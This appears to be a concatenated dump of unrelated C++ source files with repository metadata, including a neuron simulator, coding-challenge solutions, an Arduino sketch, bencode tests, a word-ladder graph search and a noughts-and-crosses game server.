UPDATE NEURON BETWEN TMIN AND TMAX /** @param tmin : min time to update neuron * @param tmax : max time to update neuron * @param i : inpute current of neuron * */ void Neuron :: updateNeuron (double tmin, double tmax, double i) { Iext=i; while ((TimeSpikes < tmax) and (TimeSpikes >= tmin)) { if (TimeRefractory>0) { TimeRefractory=TimeRefractory-1 ; MembranePotential=Vreset; } else { updateMembranePotential(); if(MembranePotential>Vthr) { write (); TimeRefractory = 20; // after the spike of the neuron, it is refractory during 20 ms NbSpikes=NbSpikes+1; } } TimeSpikes +=h ; // we advance the time to go to the next step } } /// UPDATE NEURON ONLY ONE TIME (ONE STEP) USING UPDATEMEMBRANEPOTENTIAL /** @param i : input current * @return : void */ void Neuron :: updateNeuron1 (double i) { Iext = i ; if (TimeRefractory>0) { TimeRefractory=TimeRefractory-1 ; MembranePotential=Vreset; } else { updateMembranePotential(); if(MembranePotential>Vthr) { write (); TimeRefractory = 20; NbSpikes=NbSpikes+1; } } TimeSpikes +=h ; } /// UPDATE ONLY ONE TIME (ONE STEP) USING UPDATEMEMBRANEPOTENTIAL_RAND /** @param i : input current * @return : void */ void Neuron :: updateNeuron1_rand (double i) { Iext = i ; if (TimeRefractory>0) { TimeRefractory=TimeRefractory-1 ; MembranePotential=Vreset; } else { updateMembranePotential_rand(); if(MembranePotential>Vthr) { write (); TimeRefractory = 20; NbSpikes=NbSpikes+1; } } TimeSpikes +=h ; } /// ADD J AT THE POSITION i OF THE BUFFER /** @param i : position in the buffer * @param j : value to add in the right position of buffer * @return : void */ void Neuron :: addJ(int i,double j) { buffer[i] += j ; assert(i>=0); assert (i<=15); } ///DESTRUCTOR Neuron:: ~Neuron() { }
true
30d045050d0fa0cb4223b5e0ffdbffa0131314a8
C++
singlasymbol/Hackerrank
/Strings/making-anagrams.cpp
UTF-8
707
2.953125
3
[]
no_license
#include <cmath> #include <cstdio> #include <vector> #include <iostream> #include <algorithm> using namespace std; int main() { /* Enter your code here. Read input from STDIN. Print output to STDOUT */ string s1, s2; cin >>s1; cin >>s2; int len1 = s1.length(); int len2 = s2.length(); int arr1[26] = {0},arr2[26]= {0}; int i, j, k,sum = 0; for( i =0 ; i < len1;i++) { k = s1[i] - 'a'; arr1[k]++; } for( i =0 ; i < len2;i++) { k = s2[i] - 'a'; arr2[k]++; } for(i = 0; i < 26;i++) { sum = sum + abs(arr1[i] - arr2[i]); } cout <<sum; return 0; }
true
eaadcce575f5b9692c2457f0ca41980423a825ce
C++
bashir-abdelwahed/TFC-NXP-Lebanon
/Final/encoder.cpp
UTF-8
1,881
3.125
3
[]
no_license
#include "encoder.h" Encoder::Encoder(PinName int_a) : pin_a(int_a) { pin_a.mode(PullNone); EncoderTimer.start(); pin_a.fall(this,&Encoder::encoderFalling); pin_a.rise(this,&Encoder::encoderRising); zero_speed = false; } void Encoder::encoderFalling(void) { //temporary speed storage, in case higher interrupt level does stuff float temp_speed=0; int motortime_now; motortime_now = EncoderTimer.read_us(); EncoderTimer.reset(); EncoderTimeout.attach(this,&Encoder::timeouthandler,0.1); /*calculate as ticks per second*/ if(zero_speed) temp_speed = 0; else {temp_speed = 1000000./motortime_now;push(1.5*temp_speed);} zero_speed = false; } void Encoder::encoderRising(void) { //temporary speed storage, in case higher interrupt level does stuff float temp_speed=0; int motortime_now; motortime_now = EncoderTimer.read_us(); EncoderTimer.reset(); EncoderTimeout.attach(this,&Encoder::encoderFalling,0.1); /*calculate as ticks per second*/ if(zero_speed) temp_speed = 0; else {temp_speed = 1000000./motortime_now; push(temp_speed);} zero_speed = false; } void Encoder::timeouthandler(void) { zero_speed = true; } void Encoder::push(float newspeed){ for(int i = LENGTHSPEED-1; i>0;i--) speeds[i] = speeds[i-1]; if(newspeed - speeds[0] < MAXDIFFERENCE || speeds[0] -newspeed > MAXDIFFERENCE) /// not pushing noisy values speeds[0] = newspeed; } float Encoder::meanSpeed(){ float temp = 0; for (int i = 0 ; i < LENGTHSPEED; i++) temp += speeds[i]; return temp/LENGTHSPEED; }
true
bdb1bc7e58f8b5c884fe4cd2edd5f00d425eebaa
C++
kiwixz/pathtracer
/pathtrace/shape.h
UTF-8
1,456
2.734375
3
[ "MIT" ]
permissive
#pragma once #include <pathtrace/aabb.h> #include <pathtrace/image.h> #include <pathtrace/ray.h> #include <glm/vec3.hpp> #include <optional> namespace pathtrace { struct Shape; struct Material { enum class Reflection { diffuse, // default specular, // mirror refractive, // glass }; Reflection reflection = Reflection::diffuse; Color emission; Color color; Material() = default; Material(Reflection _reflection, const Color& _emission, const Color& _color); }; class Intersection { public: Intersection() = default; Intersection(const Shape* shape, double distance, const Ray& ray, const glm::dvec3& normal); Intersection(const Shape* shape, double distance, const glm::dvec3& point, const glm::dvec3& normal); explicit operator bool() const; const Shape* shape() const; double distance() const; const glm::dvec3& point() const; const glm::dvec3& normal() const; private: const Shape* shape_ = nullptr; double distance_ = std::numeric_limits<double>::infinity(); glm::dvec3 point_; glm::dvec3 normal_; }; struct Shape { Material material; virtual ~Shape() = default; virtual void bake() = 0; virtual Intersection intersect(const Ray& ray) const = 0; }; } // namespace pathtrace
true
3e82835b11ab4f8e8207cd6734787d9783b22c2d
C++
Dev-will-work/Cpp-course
/3_Lab.Circle,Datetime_ClassesWithTasks/src/main3.cpp
UTF-8
385
3.328125
3
[]
no_license
#include <iostream> #include "DateTime.h" int main() { DateTime today; DateTime date(30,11,2019); std::cout << date.getToday() << std::endl; std::cout << date.getTomorrow() << std::endl; std::cout << date.getYesterday() << std::endl; std::cout << date.getFuture(5) << std::endl; std::cout << date.getPast(5) << std::endl; std::cout << date.getDifference(today) << std::endl; }
true
1f56912a508cc9cacf6308e376b4d98049c05a12
C++
aedelgado19/CS162-Palindromes
/Palindromes.cpp
UTF-8
1,549
4.28125
4
[]
no_license
/* Author: Allison Delgado * Last updated 9/22/20 * Palindromes is a program that reads in a character array * and determines whether or not this is a palindrome. */ #include <iostream> #include <cstring> using namespace std; int isValid(char ch); int main() { char str[80];//original str char str2[80]; //will be backwards of original str char newStr[80]; //str formatted w/o spaces and all lower case cout << "Welcome to Palindromes! Enter input: " << endl; cin.get(str, 80); cin.get(); int length = strlen(str); int c = 0; //counter variable //handle input (delete spaces, punctuation, etc) for (int i = 0; i < length; i++){ if (isValid(str[i])){ //check if character is alphanumeric newStr[c] = str[i]; c++; } } //format input to all lower case for (int j = 0; j < c; j++){ newStr[j] = tolower(newStr[j]); } length = c; //save c to variable length before it gets changed //reverse string for (int k = 0; k < length; k++){ str2[k] = newStr[c-1]; //c = length, so -1 writes array backwards c--; } //compare strings using memcmp() if (memcmp(newStr, str2, length) == 0){ //compare memory cout << "Palindrome." << endl; } else { cout << "Not a Palindrome." << endl; } return 0; } //checks if alphanumeric int isValid(char ch){ //check if num (48 = 0, 57 = 9) if (ch >= 48 && ch <= 57){ return 1; //valid } //check if letter (65 = A, 122 = z) else if (ch >= 65 && ch <=122){ return 1; //valid } else { return 0; //not valid } }
true
813f15687b466d16d5431ec112b41a2e8df35aa7
C++
NocturnalShadow/3DEditor
/Source/entity.cpp
UTF-8
930
3.09375
3
[]
no_license
#include "entity.h" IEntity::IEntity(const IEntity& entity) { if(entity.id != 0) { entity.manager->AddItem(this); } } IEntity::IEntity(IEntity&& entity) { if(entity.id != 0) { entity.manager->ReplaceItem(&entity, this); } } uint EntityManager::AddItem(IEntity* item) { if((item->id == 0) && (entities.count(item->id) == 0)) { item->manager = this; item->id = unused_id; entities[unused_id] = item; ++unused_id; } return item->id; } uint EntityManager::ReplaceItem(IEntity* item, IEntity* with) { if(item->id != 0 && with->id == 0) { with->manager = this; entities[item->id] = with; with->id = item->id; item->id = 0; } return with->id; } IEntity* EntityManager::Item(uint item_id) { if(entities.count(item_id)) { return entities[item_id]; } else { return nullptr; } }
true
d2831880e8687397c358acf15339847721801408
C++
RecursiveG/Ryu
/src/common/bencode_test.cpp
UTF-8
3,089
2.65625
3
[ "MIT" ]
permissive
#include "bencode.h" #include <gtest/gtest.h> using namespace ryu::bencode; using std::string; #define PARSE(str) \ ({ \ size_t idx = 0; \ auto i = BencodeObject::Parse(str, &idx); \ if (!i) FAIL() << i.Error(); \ ASSERT_EQ(str, i.Value()->Encode()); \ std::move(i).TakeValue(); \ }) TEST(BencodeTest, ParseInt) { EXPECT_EQ(-42, PARSE("i-42e")->GetInt()); EXPECT_EQ(0, PARSE("i0e")->GetInt()); EXPECT_EQ(42, PARSE("i42e")->GetInt()); } TEST(BencodeTest, ParseString) { EXPECT_EQ("", PARSE("0:")->GetString()); EXPECT_EQ(std::string("\0", 1), PARSE(std::string("1:\0", 3))->GetString()); EXPECT_EQ("hello, world", PARSE("12:hello, world")->GetString()); } TEST(BencodeTest, ParseList) { ASSERT_EQ(0, PARSE("le")->Size()); auto obj = PARSE("l3:foo3:bari42ee"); ASSERT_EQ(3, obj->Size()); EXPECT_EQ("foo", (*obj)[0].GetString()); EXPECT_EQ("bar", (*obj)[1].GetString()); EXPECT_EQ(42, (*obj)[2].GetInt()); } TEST(BencodeTest, ParseMap) { ASSERT_EQ(0, PARSE("de")->Size()); auto obj = PARSE("d3:fooi16e3:bar3:buze"); ASSERT_EQ(2, obj->Size()); EXPECT_EQ(16, (*obj)["foo"].GetInt()); EXPECT_EQ("buz", (*obj)["bar"].GetString()); } #define ENCODE(obj) \ ({ \ auto e = obj.Encode(); \ if (!e) FAIL() << e.Error(); \ e.Value(); \ }) TEST(BencodeTest, EncodeInt) { EXPECT_EQ("i-99e", ENCODE(BencodeInteger(-99))); EXPECT_EQ("i0e", ENCODE(BencodeInteger(0))); EXPECT_EQ("i42e", ENCODE(BencodeInteger(42))); } TEST(BencodeTest, EncodeString) { EXPECT_EQ("0:", ENCODE(BencodeString(""))); EXPECT_EQ(string("1:\0", 3), ENCODE(BencodeString(string("\0", 1)))); EXPECT_EQ("5:hello", ENCODE(BencodeString("hello"))); } TEST(BencodeTest, EncodeList) { EXPECT_EQ("le", ENCODE(BencodeList())); BencodeList l1; l1.Add(std::make_unique<BencodeInteger>(42)); l1.Add(std::make_unique<BencodeString>("foo")); EXPECT_EQ("li42e3:fooe", ENCODE(l1)); BencodeList l2; l2.Add(std::make_unique<BencodeList>()); l2.Add(std::make_unique<BencodeMap>()); EXPECT_EQ("lledee", ENCODE(l2)); } TEST(BencodeTest, EncodeMap) { EXPECT_EQ("de", ENCODE(BencodeMap())); BencodeMap m1; EXPECT_EQ(true, m1.Set("foo", std::make_unique<BencodeInteger>(42))); EXPECT_EQ(true, m1.Set("bar", std::make_unique<BencodeString>("foo"))); EXPECT_EQ("d3:fooi42e3:bar3:fooe", ENCODE(m1)); BencodeMap m2; EXPECT_EQ(true, m2.Set("foo", std::make_unique<BencodeList>())); EXPECT_EQ(true, m2.Set("bar", std::make_unique<BencodeMap>())); EXPECT_EQ("d3:foole3:bardee", ENCODE(m2)); BencodeMap m3; EXPECT_EQ(true, m3.Set("bar", std::make_unique<BencodeMap>())); EXPECT_EQ(true, m3.Set("foo", std::make_unique<BencodeList>())); EXPECT_EQ("d3:barde3:foolee", ENCODE(m3)); }
true
fe2cac6dd538231b9db2034fb17e7d4b753ba750
C++
jamesldalton/Word-Ladder
/Graph.cpp
UTF-8
4,381
3
3
[]
no_license
// // Graph.cpp // WordLadder // // Created by James on 11/26/15. // Copyright © 2015 James Dalton. All rights reserved. // #include "Graph.hpp" Graph::Graph(vector<string> dict) { // load dictionary with words dictionary = dict; this->V = dictionary.size(); } int Graph::getLocation(string value) { for (int i = 0; i < dictionary.size(); i++) { if (dictionary[i] == value) return i; } cerr << "\nERROR: Given value cannot be located inside vector\n\n"; exit(1); } string Graph::getValue(int location) { if (location <= dictionary.size()) { return dictionary[location]; } else { cerr << "\nERROR: No value can be found at given location\n\n"; exit(1); } } list<string> Graph::shortestPath(string s, string d) { // This method will perform a breadth-first search from s to d // Once that operation has been performed, this method will // take the returned paths list and work back from the des- // stination word until the start word has been also found // in the list BFS(s, d); list<Node>::iterator it; list<string> myPath; for (it = path.begin(); it->data != d; ++it) {} // first, locate destination word inside the paths list string num = it->data; myPath.push_front(num); // push destination word into another list while (it != path.begin()) { // if the next node does not have the same value in data as in parent, then continue to search num = it->parent; myPath.push_front(num); for (it=it; it->data != num; --it) {} // continue on to find the location of the parent and so on } return myPath; } list<Node> Graph::BFS(string s, string d) { // Get actual locations of start and destination values int start = getLocation(s); int destination = getLocation(d); // Mark all the vertices as not visited bool *visited = new bool[V]; for(int i = 0; i < V; i++) visited[i] = false; // Create a queue for BFS list<int> queue; // Mark the current node as visited and enqueue it visited[start] = true; queue.push_back(start); list<int> wordsVaryByOneLetter; Node n; n.data = s; n.parent = s; path.push_back(n); while(start != destination && !queue.empty()) // original: !queue.empty() { // Dequeue a vertex from queue and print it start = queue.front(); queue.pop_front(); n.parent = getValue(start); // Find all words inside the dictionary that vary by one letter wordsVaryByOneLetter.clear(); for (int i = 0; i < dictionary.size(); i++) { if (dictionary[i][0] != dictionary[start][0] && dictionary[i][1] == dictionary[start][1] && dictionary[i][2] == dictionary[start][2] && dictionary[i][3] == dictionary[start][3]) { wordsVaryByOneLetter.push_back(i); } else if (dictionary[i][0] == dictionary[start][0] && dictionary[i][1] != dictionary[start][1] && dictionary[i][2] == dictionary[start][2] && dictionary[i][3] == dictionary[start][3]) { wordsVaryByOneLetter.push_back(i); } else if (dictionary[i][0] == dictionary[start][0] && dictionary[i][1] == dictionary[start][1] && dictionary[i][2] != dictionary[start][2] && dictionary[i][3] == dictionary[start][3]) { wordsVaryByOneLetter.push_back(i); } else if (dictionary[i][0] == dictionary[start][0] && dictionary[i][1] == dictionary[start][1] && dictionary[i][2] == dictionary[start][2] && dictionary[i][3] != dictionary[start][3]) { wordsVaryByOneLetter.push_back(i); } } // Only put words that have not been visited into queue // 'it' will be used to traverse list<int>::iterator it; for (it = wordsVaryByOneLetter.begin(); it != wordsVaryByOneLetter.end(); ++it) { if(!visited[*it] /*AND only one letter is different*/) { visited[*it] = true; queue.push_back(*it); // Put word into path list n.data = dictionary[*it]; path.push_back(n); } } } delete visited; return path; }
true
4cefda57057af046e56fcd3ac3a3729e55e5f65a
C++
cyrildewit/fhict-2021nj
/technology/p-db-tech-p-db18/orientatie/8.BlinkThreeTimesAfterButtonPushForLoop/src/main.cpp
UTF-8
1,315
3
3
[]
no_license
#include <Arduino.h> const int redLightPin = 2; const int greenLightPin = 3; const int blueLightPin = 4; const int buttonBlinkPin = 5; int buttonBlinkState = LOW; int lastButtonBlinkState = LOW; unsigned long timeNow = 0; class RgbColor { public: int red = 0, green = 0, blue = 0; RgbColor(int redValue = 0, int greenValue = 0, int blueValue = 0) { red = redValue; green = greenValue; blue = blueValue; } }; const RgbColor colorOn = RgbColor(255, 0, 0); const RgbColor colorOff = RgbColor(0, 0, 0); void apply_RGB_color(RgbColor color) { analogWrite(redLightPin, color.red); analogWrite(greenLightPin, color.green); analogWrite(blueLightPin, color.blue); } void setup() { pinMode(redLightPin, OUTPUT); pinMode(greenLightPin, OUTPUT); pinMode(blueLightPin, OUTPUT); pinMode(buttonBlinkPin, INPUT); Serial.begin(9600); } void loop() { timeNow = millis(); buttonBlinkState = digitalRead(buttonBlinkPin); if (buttonBlinkState != lastButtonBlinkState) { if (buttonBlinkState == HIGH) { for (int i = 0; i < 3; i++) { apply_RGB_color(colorOn); delay(1000); apply_RGB_color(colorOff); delay(1000); } } while (millis() < timeNow + 50) { // } } lastButtonBlinkState = buttonBlinkState; }
true
affd303e84e387a91d49de095c55eb5fc65135cb
C++
JustinKin/Math
/Optical_Axis_Transition/src/function_OAT.cpp
UTF-8
1,528
2.578125
3
[]
no_license
#include <iostream> #include <cmath> #include "D:\QinJunyou\C\Eigen3\Eigen\Eigen" #include "Optical_Axis_Transition.H" using namespace std; Optical_Axis_Transition:: Optical_Axis_Transition(std::string unit_, double includedAngle_, Eigen::Matrix<double, 3, 1> camVector_1_) : unit(unit_), camVector_1(camVector_1_) { includedAngle = Unified_Unit(includedAngle_); } double Optical_Axis_Transition:: Unified_Unit(double includedAngle_) { return (unit == "deg" ? (includedAngle_ * deg2rad) : (includedAngle_)); } Eigen::Matrix<double, 3, 1> Optical_Axis_Transition:: GetCam2Vector() { return camVector_2; } void Optical_Axis_Transition:: SolveCam2Vector(double rollAngle_) { const auto v1 = camVector_1; const auto l1 = camVector_1(0, 0); const auto m1 = camVector_1(1, 0); const auto n1 = camVector_1(2, 0); const double alpha1 = atan(m1 / (sqrt((l1 * l1) + (n1 * n1)))); const double l2 = -l1; const double n2 = -n1; const double alpha2 = -(PI - includedAngle + alpha1); const double m2 = sqrt(l2 * l2 + n2 * n2) * tan(alpha2); Eigen::Matrix<double, 3, 1> v2; v2 << l2, m2, n2; auto v2_norm = v2 / (v2.norm()); Eigen::Matrix<double, 3, 3> nx; nx << 0, -n1, m1, n1, 0, -l1, -m1, l1, 0; auto I = Eigen::Matrix3d::Identity(); double rollAngle = Unified_Unit(rollAngle_); auto R = (cos(rollAngle) * I + (1 - cos(rollAngle)) * v1 * v1.transpose() - sin(rollAngle) * nx).transpose(); camVector_2 = R * v2_norm; }
true
fd0e8be651461ab4932909bf9b8fd7c1861fcc64
C++
Sethix/Ghost-Puncher
/GhostPuncher/MainMenu.cpp
UTF-8
3,902
2.953125
3
[]
no_license
#include "MainMenu.h" #include "AssetLib.h" bool MainMenu::loaded = false; // Set our start values and load our menu textures if it's our first time at the screen. MainMenu::MainMenu() { setCurrentSelection(0); setSplashState(true); setChangedSelection(false); setExiting(false); hScoreString = "High score: "; setSelectedTexture("Select"); setSplashTexture("Splash"); setFontMap("Font"); if (!loaded) { loadTexture(selectedTexture, "../textures/select.png", 1, 1); loadTexture(splashTexture, "../textures/splash.bmp", 1, 1); loadTexture(fontMap, "../textures/fontmap.png", 16, 16); } } #pragma region GettersAndSetters // Our getters std::string MainMenu::getSplashTexture() { return splashTexture; } std::string MainMenu::getSelectedTexture() { return selectedTexture; } std::string MainMenu::getFontMap() { return fontMap; } int MainMenu::getCurrentSelection() { return currentSelection; } bool MainMenu::getSplashState() { return splashState; } bool MainMenu::getChangedSelection() { return changedSelection; } bool MainMenu::getStateChange() { return stateChange; } // Our setters void MainMenu::setSplashTexture(std::string s) { splashTexture = s; } void MainMenu::setSelectedTexture(std::string s) { selectedTexture = s; } void MainMenu::setFontMap(std::string s) { fontMap = s; } void MainMenu::setCurrentSelection(int s) { currentSelection = s; } void MainMenu::setSplashState(bool b) { splashState = b; } void MainMenu::setChangedSelection(bool b) { changedSelection = b; } void MainMenu::setStateChange(bool b) { stateChange = b; } void MainMenu::setExiting(bool b) { exiting = b; } #pragma endregion void MainMenu::SetScoreString(int score) { hScoreStream.clear(); hScoreStream.str(std::string()); hScoreStream << hScoreString << score; } // Where we check for button/key input. void MainMenu::Input() { // If we're not at the splash screen, move through menu options and allow selecting if (!getSplashState()) { if (BUTTON_TWO) { Select(); } if (BUTTON_ONE) { setSplashState(true); } if (BUTTON_DOWN && !getChangedSelection()) { if (currentSelection < 1) currentSelection++; setChangedSelection(true); } else if (BUTTON_UP && !getChangedSelection()) { if (currentSelection > 0) currentSelection--; setChangedSelection(true); } if (MOVEMENT_INACTIVE) setChangedSelection(false); } // Else we want to press start to play. else { if (BUTTON_START) setSplashState(false); } } // Tell our game state it's time to change states. void MainMenu::Select() { setStateChange(true); } // Draw the splash screen and menu. void MainMenu::Draw() { if (splashState) { RENDER(getTexture(splashTexture), 0, TEXTURE_HEIGHT(getTexture(splashTexture)), TEXTURE_WIDTH(getTexture(splashTexture)), TEXTURE_HEIGHT(getTexture(splashTexture)), 0, false); DRAW_TEXT(getTexture(fontMap), SPLASH_TEXT, 100, 100, 16, 16, 0, 0, WHITE); } else if (exiting) { RENDER(getTexture(splashTexture), 0, TEXTURE_HEIGHT(getTexture(splashTexture)), TEXTURE_WIDTH(getTexture(splashTexture)), TEXTURE_HEIGHT(getTexture(splashTexture)), 0, false); DRAW_TEXT(getTexture(fontMap), EXIT_TEXT, 50, 300, 16, 16, 0, 0, WHITE); } else { RENDER(getTexture(splashTexture), 0, TEXTURE_HEIGHT(getTexture(splashTexture)), TEXTURE_WIDTH(getTexture(splashTexture)), TEXTURE_HEIGHT(getTexture(splashTexture)), 0, false); DRAW_TEXT(getTexture(fontMap), MAINMENU_OPTION_ONE, 40, 100, 16, 16, 0, 0, WHITE); DRAW_TEXT(getTexture(fontMap), MAINMENU_OPTION_TWO, 60, 80, 16, 16, 0, 0, WHITE); DRAW_TEXT(getTexture(fontMap), hScoreStream.str().c_str(), 30, 30, 16, 16, 0, 0, WHITE); switch (getCurrentSelection()) { case 0: RENDER(getTexture(selectedTexture), 20, 100, 20, 20, 0, 0); break; case 1: RENDER(getTexture(selectedTexture), 40, 80, 20, 20, 0, 0); break; } } }
true
9f76072e388e7babd21bc248cc50984780c646d0
C++
tmyksj/atcoder
/AtCoder Beginner Contest 150/D - Semi Common Multiple/main.cpp
UTF-8
931
3.078125
3
[]
no_license
#include <iostream> #include <map> #include <vector> using namespace std; template <class T> T gcm(T a, T b) { if (a < b) { T w = a; a = b; b = w; } while (b != 0) { T w = a % b; a = b; b = w; } return a; } template <class T> T lcm(T a, T b) { return a / gcm(a, b) * b; } int main() { int n, m; cin >> n >> m; vector<long long> a(n); for (int i = 0; i < n; i++) { cin >> a[i]; } map<int, int> pat; for (int i = 0; i < n; i++) { int p = 0; for (int j = a[i] / 2; j % 2 == 0; j /= 2) { p++; } pat[p]++; } if (pat.size() == 1) { long long a_lcm = a[0] / 2; for (int i = 1; i < n; i++) { a_lcm = lcm(a_lcm, a[i] / 2); } cout << (m / a_lcm) / 2 + (m / a_lcm) % 2 << endl; } else { cout << "0" << endl; } }
true
91dcc7482f28c5d78b8c50776db2177450751ea2
C++
poojagarg/Coding
/c,c++/storeCredit.cpp
UTF-8
519
2.640625
3
[]
no_license
#include <iostream> #include <set> using namespace std; int main(){ int t; cin>>t; int c_=1; while(c_<=t){ int c,p; cin>>c>>p; int a[p]; for(int i=0; i<p; i++) cin>>a[i]; set<int> s; for(int i=0;i<p; i++){ if(s.find(c-a[i])!=s.end()){ for(int j=0; j<i; j++){ if(a[j]==c-a[i]){ cout<<"Case #"<<c_<<": "<<j+1<<" "<<i+1; break; } } } else s.insert(a[i]); } c_++; cout<<endl; } }
true
961bfb4574e7dc2d7d5dfaaf286969b7c45d1f28
C++
Harshal555/cpp
/c++11/uniform_initializer/implicit_initialise_obj_return.cpp
UTF-8
324
3.46875
3
[]
no_license
#include<iostream> using namespace std; class A { const int a; const int b; public: A(int x,int y):a(x), b(y)//initializer list must be used { } void show() { cout<<"a is "<<a<<"b is"<<b<<endl; } }; A fun(int m,int n) { cout<<"fun is called"<<endl; return {m ,n}; } int main() { A x=fun(10,55); x.show(); }
true
0682f3d19410fdb1b850318048a43c6586e19169
C++
leandrovianna/ppp_book_codes
/Chapter4/4.4.2.3_example1.cpp
UTF-8
371
3.296875
3
[]
no_license
//example1_for_statements.cpp //Date: December 20, 2013 //Stroustrup's Programming Book - Chapter 4: Computation //Example 1 - 4.4.2.3 for-statements //calculate and print a table of square 0-99 #include "std_lib_facilities.h" int square(int x) { return x*x; } int main() { for (int i = 0; i < 100; ++i) { cout << i << "\t" << square(i) << '\n'; } }
true
bb3796b94c6d80206942eda0f33710be47cb86c9
C++
hnefatl/Noughts-and-Crosses
/Networking/Server/Game.cpp
UTF-8
3,945
2.953125
3
[]
no_license
#include "Game.h" #include <sstream> #include "NetStrings.h" #include "Globals.h" #include <CellContents.h> #include <Grid.h> #include <Move.h> Game::Game() :Playing(true) { } Game::Game(Client *PlayerOne, Client *PlayerTwo) :Playing(true) { Players.push_back(PlayerOne); Players.push_back(PlayerTwo); } Game::~Game() { for(unsigned int x=0; x<Players.size(); x++) { delete Players[x]; } Players.clear(); } void Game::Play() { // Start the game on a new thread PlayingThread=std::thread(&Game::_Play, this); } void Game::_Play() { /* The structure of the game is thus: Pre-step. Initialise each Client, sending them a 0 or a 1 to symbolise whether they are an X or a O 1. Send a message to PlayerOne informing it that it is its go. 2. Receive a message from PlayerOne informing the server of the move taken. 3. Send a message to PlayerOne and PlayerTwo informing them of the move taken 4. Send a message to PlayerTwo informing it that it is its go 5. Receive a message from PlayerTwo informing the server of the move taken 6. Send a message to PlayerOne and PlayerTwo informing them of the move taken ... 7. Once a winning state has been achieved, the game stops and a message is sent to PlayerOne and PlayerTwo informing them of which player won. 8. PlayerOne and PlayerTwo then disconnect (in Client code), and the game state is set to offline (Playing=false) If at any point an error is found, the Error message is sent, and the two clients will disconnect. The game will terminate semi-normally - it will not immediately kill the server, but will set Playing=false, and wait for deletion. Sending the move to both clients fulfils the InformMove condition of the players */ // Whose turn it is unsigned int CurrentPlayer=0; // Prestep std::stringstream Stream; std::string Buffer; Stream<<CellContents::Nought; Stream>>Buffer; Stream.clear(); Buffer.clear(); if(!Players[0]->Send(Buffer)) // First player to connect goes first (remote player has symbol sent) { Players[1]->Send(Error); Playing=false; return; } Stream<<CellContents::Cross; Stream>>Buffer; if(!Players[1]->Send(Buffer)) // Second player to connect goes second (remote player has symbol sent) { Players[0]->Send(Error); Playing=false; return; } // While the game has not been won and the board is not full unsigned int CellsFilled=0; while((!Board.IsGoalState(CellContents::Cross) && !Board.IsGoalState(CellContents::Nought)) && CellsFilled!=GridSize*GridSize) { std::string BoardState; if(!Players[CurrentPlayer]->Receive(&BoardState)) { Players[CurrentPlayer==0?1:0]->Send(Error); Playing=false; return; } // Copy the board Grid OldBoard=Board; // Parse the new board state, updating the server's version of the board if(!Grid::Parse(&BoardState, &Board)) { // Failed to parse new board state - send the error message for(unsigned int x=0; x<Players.size(); x++) { Players[x]->Send(Error); } Playing=false; return; } // Isolate the move from the grid Move NewMove; for(unsigned int y=0; y<GridSize; y++) { for(unsigned int x=0; x<GridSize; x++) { if(Board.Board[y][x]!=OldBoard.Board[y][x]) { // Mismatch detected NewMove.Position=Vector(x, y); NewMove.Value=Board.Board[y][x].Get(); } } } // Convert the move to a string std::string SendableMove; Move::GetString(&NewMove, &SendableMove); // Inform the other player of the move if(!Players[CurrentPlayer==0?1:0]->Send(SendableMove)) { Players[CurrentPlayer==0?1:0]->Send(Error); Playing=false; return; } // Swap players CurrentPlayer==0?CurrentPlayer=1:CurrentPlayer=0; } // The game has now been won or drawn - each player also has the final board state stored locally, so they can // work out who won too. // There's nothing left to do but end the game Playing=false; } bool Game::IsPlaying() { return Playing; }
true
a892a6b345182047dfe0320d39448a1dbd897fc7
C++
kashyapp/the-kitchen-sink
/code/code1/twoLarge.cpp
UTF-8
894
3.28125
3
[]
no_license
#include <iostream> #include <vector> #include <list> #include <set> #include <iterator> using namespace std; template <class InputIterator> InputIterator twoLarge(InputIterator begin, InputIterator end){ InputIterator one = begin; InputIterator two = one; two++; //cout << *one << " " << *two << endl; if(*one < *two) swap(one, two); //cout << *one << " " << *two << endl; InputIterator i = begin; i++; i++; for(; i != end; i++){ if(*i > *two){ if(*i > *one){ two = one; one = i; } else{ two = i; } } //cout << *one << " " << *two << endl; } return two; } template <class T> vector<T>::iterator twoLarge(vector<T>::iterator begin, vector<T>::iterator end){ return begin; } int main(){ vector <int> foo; int k; while(cin >> k) foo.push_back(k); vector <int>::iterator i = twoLarge(foo.begin(),foo.end()); cout << *i << endl; return 0; }
true
bf2fc9a29a56269e9d56e8f9cc71e3eeb75b33df
C++
Tanmoy-SWE/Ludo-Game
/Ludo.cpp
UTF-8
3,036
3.65625
4
[]
no_license
/*************************************************************** CSCI 240 Program 8 Spring 2021 Test the Die class ***************************************************************/ #include <iostream> #include <iomanip> #include <cstdlib> using namespace std; //********** Put the Die class definition after this line ********** class Die{ static const int NUM_SIDES; public: int dice; Die(); int getSide(); void roll(); }; void roll(); const int Die::NUM_SIDES = 6; int main() { //seed the random number generator //Note: this must be done BEFORE creating any Die class objects srand(9); //Create a Die class object and display the side that is currently up Die die1; int range; cout << "How many times you want to catch a fish? "; cin >> range; int pts = 0; //Roll the die 10 times to test the roll and getSide methods for( int cnt = 1; cnt <= range; cnt++ ) { die1.roll(); cout << "Roll " << cnt << ":" << endl; switch(die1.getSide()){ case 1 : cout << " -----\n"; cout << "| |\n"; cout << "| O |\n"; cout << "| |\n"; cout << " -----\n"; cout << "You caught a big fish! 20 points" << endl; pts += 20; break; case 2 : cout << " -----\n"; cout << "|O |\n"; cout << "| |\n"; cout << "| O|\n"; cout << " -----\n"; cout << "You caught a old shoe! -10 points" << endl; pts -= 10; break; case 3 : cout << " -----\n"; cout << "|O |\n"; cout << "| O |\n"; cout << "| O|\n"; cout << " -----\n"; cout << "You caught a goldfish! 5 points" << endl; pts += 5; break; case 4 : cout << " -----\n"; cout << "|O O|\n"; cout << "| |\n"; cout << "|O O|\n"; cout << " -----\n"; cout << "You caught a fish! 10 points" << endl; pts += 10; break; case 5 : cout << " -----\n"; cout << "|O O|\n"; cout << "| O |\n"; cout << "|O O|\n"; cout << " -----\n"; cout << "You caught a toilet seat! -20 points" << endl; pts -= 20; break; case 6 : cout << " -----\n"; cout << "|O O O|\n"; cout << "|O O O|\n"; cout << "|O O O|\n"; cout << " -----\n"; cout << "You caught a shark! 40 points" << endl; pts += 40; break; } } cout << "\n\n"; cout << "Your final score is " << pts << " points." << endl; return 0; } //********** Code the Die class constructor and methods after this line ********** Die::Die(){ roll(); } void Die::roll(){ dice = (rand()%NUM_SIDES)+1; } int Die::getSide(){ return dice; }
true
d1166619dfd4c0cf206cd8ee7dbfff82dc2f73b5
C++
haclongtd1994/DataStructure_N_Algorithms
/DataStructure_N_Algorithms/Array/mergeSortArray.cpp
UTF-8
1,348
3.546875
4
[]
no_license
